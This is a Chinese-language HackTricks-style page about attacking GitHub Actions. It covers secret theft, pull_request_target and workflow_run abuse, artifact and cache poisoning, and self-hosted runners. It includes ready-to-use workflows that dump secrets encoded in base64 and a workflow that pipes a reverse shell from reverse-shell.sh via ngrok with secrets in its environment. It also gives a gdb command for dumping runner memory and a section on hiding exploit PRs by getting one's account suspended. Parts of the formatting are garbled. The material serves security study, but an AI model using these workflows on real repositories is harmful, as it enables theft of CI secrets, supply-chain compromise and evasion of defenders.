Abusing Github Actions

支持 HackTricks

基本信息

在此页面中,您将找到:

  • 攻击者设法访问 Github Action 的所有影响的摘要

  • 获取访问 action的不同方式:

  • 拥有权限创建 action

  • 滥用pull request相关触发器

  • 滥用其他外部访问技术

  • 从已被攻陷的仓库横向移动

  • 最后,关于从内部滥用 action 的后渗透技术的部分(导致上述影响)

影响摘要

关于 Github Actions 的介绍,请查看基本信息

如果您可以在仓库执行任意 Github actions/注入代码,您可能能够:

  • 窃取该仓库/组织的秘密

  • 如果您只能注入,您可以窃取工作流中已经存在的任何内容。

  • 滥用仓库权限访问其他平台,如 AWS 和 GCP。

  • 自定义工作者执行代码(如果使用自定义工作者)并尝试从那里横向移动。

  • 覆盖仓库代码

  • 这取决于 GITHUB_TOKEN 的权限(如果有)。

  • 攻陷 部署和其他工件

  • 如果代码正在部署或存储某些内容,您可以修改它并获得进一步访问。

GITHUB_TOKEN

这个“秘密”(来自 ${{ secrets.GITHUB_TOKEN }}${{ github.token }})是在管理员启用此选项时提供的:

这个令牌与Github 应用程序使用的令牌相同,因此它可以访问相同的端点:https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github 应该发布一个 流程允许跨仓库访问,因此一个仓库可以使用 GITHUB_TOKEN 访问其他内部仓库。

您可以在以下链接中查看此令牌的可能权限https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

请注意,令牌在作业完成后过期。 这些令牌看起来像这样:ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

使用此令牌可以做的一些有趣的事情:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

请注意,在多种情况下,您可以在 Github Actions 环境或秘密中找到 github 用户令牌。这些令牌可能会赋予您对存储库和组织的更多权限。

在 Github Action 输出中列出秘密

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

使用 secrets 获取反向 shell

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

可以通过检查操作日志来查看其他用户仓库中Github Token的权限:

允许执行

这是妥协Github actions最简单的方法,因为这种情况假设你有在组织中创建新仓库的权限,或者对某个仓库有写权限

如果你处于这种情况下,你可以直接查看后期利用技术

从仓库创建执行

如果组织成员可以创建新仓库并且你可以执行github actions,你可以创建一个新仓库并窃取在组织级别设置的秘密

从新分支执行

如果你可以在已经配置了Github Action的仓库中创建一个新分支,你可以修改它,上传内容,然后从新分支执行该操作。这样你可以窃取仓库和组织级别的秘密(但你需要知道它们的名称)。

你可以使修改后的操作手动执行,当创建PR时或推送一些代码时执行(取决于你想要多么安静):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

有不同的触发器可能允许攻击者执行另一个仓库的Github Action。如果这些可触发的操作配置不当,攻击者可能会妥协它们。

pull_request

工作流触发器**pull_request将在每次收到拉取请求时执行工作流,但有一些例外:默认情况下,如果这是你第一次进行协作**,某些维护者需要批准工作流的运行

由于默认限制是针对首次贡献者,你可以通过修复有效的错误/错字来贡献,然后发送其他PR以滥用你的新pull_request权限

我测试过这不行另一种选择是创建一个与曾经贡献过并删除账户的人的名字相同的账户。

此外,默认情况下防止写权限秘密访问目标仓库,如文档中所述:

除了GITHUB_TOKEN秘密不会传递给运行器,当工作流从forked仓库触发时。GITHUB_TOKEN在来自forked仓库的拉取请求中只有只读权限

攻击者可以修改Github Action的定义以执行任意操作并附加任意操作。然而,由于上述限制,他无法窃取秘密或覆盖仓库。

是的,如果攻击者在PR中更改了将被触发的github action,他的Github Action将是被使用的,而不是原始仓库中的那个!

由于攻击者也控制了被执行的代码,即使GITHUB_TOKEN没有秘密或写权限,攻击者也可以例如上传恶意工件

pull_request_target

工作流触发器**pull_request_target对目标仓库有写权限访问秘密**(且不需要许可)。

注意,工作流触发器**pull_request_target基础上下文中运行,而不是在PR给定的上下文中运行(以不执行不受信任的代码**)。有关pull_request_target的更多信息,请查看文档。 此外,有关此特定危险用法的更多信息,请查看这篇github博客文章

看起来因为执行的工作流基础中定义的而不是PR中的,所以使用**pull_request_target安全的,但有一些情况并非如此**。

而这个将有访问秘密的权限。

workflow_run

workflow_run触发器允许在不同的工作流完成请求进行中时运行一个工作流。

在这个例子中,一个工作流配置为在单独的“Run Tests”工作流完成后运行:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

此外,根据文档:由 workflow_run 事件启动的工作流能够访问秘密和写入令牌,即使之前的工作流没有

如果这种工作流依赖于可以通过外部用户通过**pull_requestpull_request_target触发的工作流**,则可能会受到攻击。可以在这个博客中找到几个易受攻击的示例。第一个示例是**workflow_run触发的工作流下载攻击者的代码:${{ github.event.pull_request.head.sha }} 第二个示例是一个不受信任的代码的工件传递给workflow_run工作流,并以使其易受RCE攻击**的方式使用该工件的内容。

workflow_call

TODO

TODO: 检查当从pull_request执行时,使用/下载的代码是否来自原始仓库或来自fork的PR

滥用Forked执行

我们已经提到所有外部攻击者可能设法使github工作流执行的方式,现在让我们看看这些执行,如果配置不当,如何被滥用:

不受信任的checkout执行

在**pull_request的情况下,工作流将在PR的上下文中执行(因此它将执行恶意PR的代码**),但需要有人首先授权,并且它将在某些限制下运行。

如果工作流使用**pull_request_targetworkflow_run,并且依赖于可以从pull_request_targetpull_request触发的工作流,则将执行原始仓库的代码,因此攻击者无法控制执行的代码**。

然而,如果操作有一个显式的PR checkout,它将获取PR的代码(而不是基础代码),它将使用攻击者控制的代码。例如(检查第12行下载PR代码的地方):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

npm installnpm build期间运行的潜在不受信任的代码,因为构建脚本和引用的包由PR的作者控制

一个搜索易受攻击操作的github dork是:event.pull_request pull_request_target extension:yml,然而,即使操作配置不安全,也有不同的方法可以安全地配置作业以执行(例如使用条件判断生成PR的演员是谁)。

上下文脚本注入

请注意,有某些github上下文的值是由创建PR的用户控制的。如果github操作使用这些数据来执行任何操作,可能会导致任意代码执行

Gh Actions - Context Script Injections

GITHUB_ENV脚本注入

根据文档:您可以通过定义或更新环境变量并将其写入**GITHUB_ENV**环境文件,使环境变量在工作流作业的任何后续步骤中可用。

如果攻击者能够注入任何值到这个env变量中,他可以注入环境变量,这些变量可以在后续步骤中执行代码,例如LD_PRELOADNODE_OPTIONS

例如(这个这个),想象一个工作流信任上传的工件并将其内容存储在**GITHUB_ENV**环境变量中。攻击者可以上传类似这样的内容来进行攻击:

易受攻击的第三方Github Actions

这篇博客文章中提到的,这个Github Action允许访问来自不同工作流甚至仓库的工件。

问题在于,如果没有设置**path**参数,工件会被提取到当前目录,并且可能覆盖稍后在工作流中使用甚至执行的文件。因此,如果工件存在漏洞,攻击者可以利用这一点来攻击信任该工件的其他工作流。

易受攻击的工作流示例:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

这可以通过以下工作流进行攻击:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

其他外部访问

删除的命名空间仓库劫持

如果一个账户更改了名称,另一个用户可以在一段时间后注册该名称的账户。如果一个仓库在更改名称之前少于100颗星,Github将允许新注册的同名用户创建一个同名仓库

因此,如果一个操作使用了一个不存在账户的仓库,攻击者仍然有可能创建该账户并危及该操作。

如果其他仓库使用了来自该用户仓库的依赖,攻击者将能够劫持它们。这里有一个更完整的解释:https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


仓库横向移动

在本节中,我们将讨论一些技术,这些技术允许在假设我们对第一个仓库有某种访问权限的情况下从一个仓库横向移动到另一个仓库(请查看上一节)。

缓存中毒

同一分支的工作流运行之间维护一个缓存。这意味着如果攻击者攻陷了一个,该包被存储在缓存中并被更高权限的工作流下载和执行,他也将能够攻陷该工作流。

GH Actions - Cache Poisoning

工件中毒

工作流可以使用来自其他工作流甚至仓库的工件,如果攻击者设法攻陷上传工件的Github Action,而该工件随后被另一个工作流使用,他可以攻陷其他工作流

Gh Actions - Artifact Poisoning

从一个操作后的利用

通过OIDC访问AWS和GCP

查看以下页面:

AWS - Federation AbuseGCP - Federation Abuse

访问密钥

如果你正在向脚本中注入内容,了解如何访问密钥是很有趣的:

  • 如果密钥或令牌被设置为环境变量,可以通过使用**printenv**直接从环境中访问。

在Github Action输出中列出密钥

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>使用 secrets 获取反向 shell</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • 如果秘密直接在表达式中使用,生成的 shell 脚本会存储在磁盘上并且可以访问。

cat /home/runner/work/_temp/*

* 对于 JavaScript actions,秘密通过环境变量传递
* ```bash
ps axe | grep node
  • 对于自定义 action,风险可能会因程序如何使用从参数获取的秘密而有所不同:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

滥用自托管运行器

查找在非 github 基础设施上执行的 Github Actions的方法是搜索 Github Action 配置 yaml 中的 runs-on: self-hosted

自托管运行器可能有权访问额外的敏感信息,访问其他网络系统(网络中的易受攻击端点?元数据服务?),或者,即使它是隔离和销毁的,可能会同时运行多个 action,恶意的 action 可能会窃取其他 action 的秘密

在自托管运行器中,还可以通过转储其内存来从 _Runner.Listener_** 进程** 中获取秘密,该进程将在任何步骤中包含工作流的所有秘密:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

查看这篇文章了解更多信息

Github Docker Images Registry

可以创建Github actions来构建并存储一个Docker镜像在Github中。 一个示例可以在以下可展开内容中找到:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

正如你在前面的代码中看到的,Github registry 托管在 **`ghcr.io`**。

具有仓库读取权限的用户将能够使用个人访问令牌下载 Docker Image:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

然后,用户可以搜索 Docker 镜像层中的泄露秘密:

Github Actions 日志中的敏感信息

即使 Github 尝试在 actions 日志中 检测秘密值避免显示 它们,其他敏感数据 可能在执行 action 时生成的也不会被隐藏。例如,使用秘密值签名的 JWT 不会被隐藏,除非它被特别配置

掩盖你的踪迹

(技术来自这里)首先,任何提出的 PR 在 Github 和目标 GitHub 账户中都是公开可见的。在 GitHub 中,默认情况下我们 不能删除互联网上的 PR,但有一个转折点。对于被 Github 暂停 的 GitHub 账户,他们的所有 PR 会自动删除 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 GitHub 账户被暂停或被标记。这将 隐藏你在 GitHub 上的所有活动(基本上移除所有的 exploit PR)。

在 GitHub 中,一个组织非常积极地向 GitHub 报告账户。你所需要做的就是在 Issue 中分享“一些东西”,他们会确保你的账户在 12 小时内被暂停 :p,这样你的 exploit 就在 github 上不可见了。

组织唯一能发现他们被攻击的方法是检查来自 SIEM 的 GitHub 日志,因为在 GitHub UI 中 PR 会被移除。

工具

以下工具对于查找 Github Action workflows 甚至查找易受攻击的 workflows 非常有用:

Last updated